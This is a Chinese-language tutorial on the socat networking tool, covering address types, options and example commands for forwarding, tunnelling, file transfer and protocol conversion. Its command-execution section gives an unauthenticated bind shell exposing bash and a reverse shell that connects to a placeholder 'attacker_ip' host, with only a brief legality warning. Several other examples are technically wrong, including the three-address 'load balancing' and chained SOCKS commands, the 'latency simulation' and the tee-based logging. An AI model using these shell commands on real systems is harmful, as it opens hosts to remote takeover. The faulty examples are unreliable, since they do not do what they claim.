linux socat命令
socat 是 "Socket CAT" 的缩写,是一个功能极其强大的多用途网络工具,被称为 netcat 的增强版,支持多种协议和复杂的网络操作。
一、Socat 简介
Socat 是一个命令行工具,用于在两个数据流之间建立双向通道。与 netcat 相比,socat 提供:
- 更多协议支持(TCP, UDP, SSL, SOCKS, 文件,管道等)
- 更好的安全特性(SSL/TLS 加密)
- 更灵活的地址选项
- 高级功能(forking,logging,tuning)
- 稳定的连接处理
二、基本语法
socat [选项] 地址1 地址2
Socat 的基本概念是连接两个地址(address)。每个地址定义了一个数据源或目标。
三、常用地址类型
| 地址类型 |
格式 |
说明 |
| TCP |
TCP:host:port |
TCP 客户端连接 |
| TCP-LISTEN |
TCP-LISTEN:port |
TCP 服务器监听 |
| UDP |
UDP:host:port |
UDP 客户端 |
| UDP-LISTEN |
UDP-LISTEN:port |
UDP 服务器监听 |
| SSL |
SSL:host:port |
SSL 客户端 |
| OPENSSL |
OPENSSL:host:port |
OpenSSL 连接 |
| FILE |
FILE:filename |
文件读写 |
| EXEC |
EXEC:command |
执行命令 |
| STDIO |
STDIO |
标准输入输出 |
| PIPE |
PIPE:filename |
命名管道 |
| SOCKS |
SOCKS:host:port |
SOCKS 代理 |
四、常用选项
| 选项 |
说明 |
-d |
调试信息级别(-d,-dd,-ddd) |
-D |
十六进制和 ASCII 转储数据 |
-ly[facility] |
日志到 syslog |
-lf logfile |
日志到文件 |
-v |
详细模式 |
-x |
十六进制转储传输的数据 |
-u |
单向模式(从左到右) |
-U |
单向模式(从右到左) |
-b size |
设置缓冲区大小 |
-t timeout |
超时时间(秒) |
-T timeout |
总超时时间 |
fork |
为每个连接 fork 子进程 |
reuseaddr |
允许地址重用 |
keepalive |
保持连接活动 |
五、常用实例
1. 简单的 TCP 端口转发(类似 netcat)
# 监听端口并转发到远程主机
socat TCP-LISTEN:8080,fork TCP:example.com:80
# 客户端连接到本地转发
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80
2. 双向端口转发
# 将本地 8080 端口转发到远程 80 端口
socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.1.100:80
# 使用 keepalive 保持连接
socat TCP-LISTEN:8080,fork,reuseaddr,keepalive TCP:example.com:443
3. UDP 端口转发
# UDP 端口转发
socat UDP-LISTEN:53,fork UDP:8.8.8.8:53
# TCP 转 UDP
socat TCP-LISTEN:5353,fork UDP:8.8.8.8:53
4. SSL/TLS 加密连接
# 创建 SSL 服务器(需要证书)
socat OPENSSL-LISTEN:4433,cert=server.pem,verify=0,fork,reuseaddr TCP:localhost:80
# SSL 客户端连接
socat STDIO OPENSSL:localhost:4433,verify=0
# SSL 隧道(加密 TCP 连接)
socat TCP-LISTEN:8888,fork,reuseaddr OPENSSL:example.com:443
5. 文件传输
# 发送文件(接收端)
socat -u TCP-LISTEN:8888,fork,reuseaddr OPEN:output.txt,creat,append
# 发送文件(发送端)
socat -u OPEN:input.txt TCP:192.168.1.100:8888
# 双向文件复制
socat OPEN:file1.txt OPEN:file2.txt,creat,trunc
6. 命令执行和 Shell
# 执行命令并返回结果
socat TCP-LISTEN:8888,fork,reuseaddr EXEC:'/bin/bash -i'
# 反向 Shell
# 攻击机监听
socat TCP-LISTEN:4444,fork,reuseaddr -
# 目标机连接
socat TCP:attacker_ip:4444 EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane
注意:反向 Shell 功能应在合法授权的环境中使用,未经授权的使用是非法的。
7. 数据记录和监控
# 记录所有传输数据到文件
socat TCP-LISTEN:8080,fork,reuseaddr TCP:example.com:80 | tee -a log.txt
# 十六进制转储数据
socat -x TCP-LISTEN:8080,fork,reuseaddr TCP:example.com:80
# 详细调试输出
socat -d -d TCP-LISTEN:8080,fork,reuseaddr TCP:example.com:80
8. 协议转换
# TCP 转 UNIX Socket
socat TCP-LISTEN:8080,fork,reuseaddr UNIX-CONNECT:/var/run/service.sock
# UNIX Socket 转 TCP
socat UNIX-LISTEN:/tmp/test.sock,fork,reuseaddr TCP:localhost:8080
# 串口转 TCP
socat TCP-LISTEN:8888,fork,reuseaddr /dev/ttyS0,raw,echo=0,b115200
9. 负载均衡和连接池
# 简单负载均衡(轮询)
socat TCP-LISTEN:8080,fork,reuseaddr \
TCP:backend1:80 \
TCP:backend2:80 \
TCP:backend3:80
10. SOCKS 代理
# 创建 SOCKS5 代理
socat TCP-LISTEN:1080,fork,reuseaddr SOCKS5:proxy.example.com:1080
# 通过 SOCKS 代理连接
socat TCP-LISTEN:8888,fork,reuseaddr SOCKS4A:socksproxy:1080:example.com:80
11. 时间和日期服务
# 创建时间服务器(RFC868)
socat TCP-LISTEN:37,fork,reuseaddr SYSTEM:'date +%s'
# 创建日期时间服务器
socat TCP-LISTEN:13,fork,reuseaddr EXEC:'date'
12. 网络测试和调试
# 简单的 HTTP 服务器
socat TCP-LISTEN:80,fork,reuseaddr \
SYSTEM:'echo "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>Hello World</h1>"'
# 网络延迟模拟
socat TCP-LISTEN:8080,fork,reuseaddr \
TCP:example.com:80,setsockopt-int=1:6:1
六、高级配置示例
1. 带认证的 SSL 隧道
# 服务器端
socat OPENSSL-LISTEN:4433,cert=server.pem,key=server.key,cafile=ca.crt,verify=1,fork,reuseaddr \
TCP:localhost:80
# 客户端
socat TCP-LISTEN:8888,fork,reuseaddr \
OPENSSL:server.example.com:4433,cert=client.pem,key=client.key,cafile=ca.crt,verify=1
2. 链式连接
# 通过多个中间主机转发
socat TCP-LISTEN:8080,fork,reuseaddr \
SOCKS4:socks1:1080:host2:22 \
SOCKS4:socks2:1080:target:80
3. 带过滤和处理的转发
# 过滤特定内容的转发
socat TCP-LISTEN:8080,fork,reuseaddr \
SYSTEM:'grep -v "secret" | socat - TCP:example.com:80'
七、Socat 与 Netcat 对比
| 特性 |
Socat |
Netcat |
| 协议支持 |
TCP, UDP, SSL, SOCKS, 文件, 管道等 |
TCP, UDP (基本) |
| SSL/TLS |
原生支持 |
需要额外工具 |
| 稳定性 |
连接保持稳定 |
连接可能中断 |
| 性能 |
高性能,支持多连接 |
轻量级 |
| 复杂性 |
学习曲线较陡峭 |
简单易用 |
| 用途 |
专业网络工具,复杂场景 |
快速测试,简单任务 |
八、常见问题解决
# 使用 sudo
sudo socat TCP-LISTEN:80,fork,reuseaddr TCP:localhost:8080
# 或使用 authbind
authbind socat TCP-LISTEN:80,fork,reuseaddr TCP:localhost:8080
# 添加 keepalive 和重用选项
socat TCP-LISTEN:8080,fork,reuseaddr,keepalive,keepidle=10,keepintvl=10,keepcnt=2 TCP:example.com:80
# 使用不同级别的调试信息
socat -d -d TCP-LISTEN:8080,fork TCP:example.com:80
socat -d -d -d TCP-LISTEN:8080,fork TCP:example.com:80
# 十六进制转储数据
socat -x TCP-LISTEN:8080,fork TCP:example.com:80
九、最佳实践
使用建议
- 始终使用
fork 选项处理多个连接
- 使用
reuseaddr 避免 "Address already in use" 错误
- 生产环境使用
keepalive 保持连接
- 使用
-t 或 -T 设置超时
- 复杂配置使用配置文件
- 启用日志记录进行调试和监控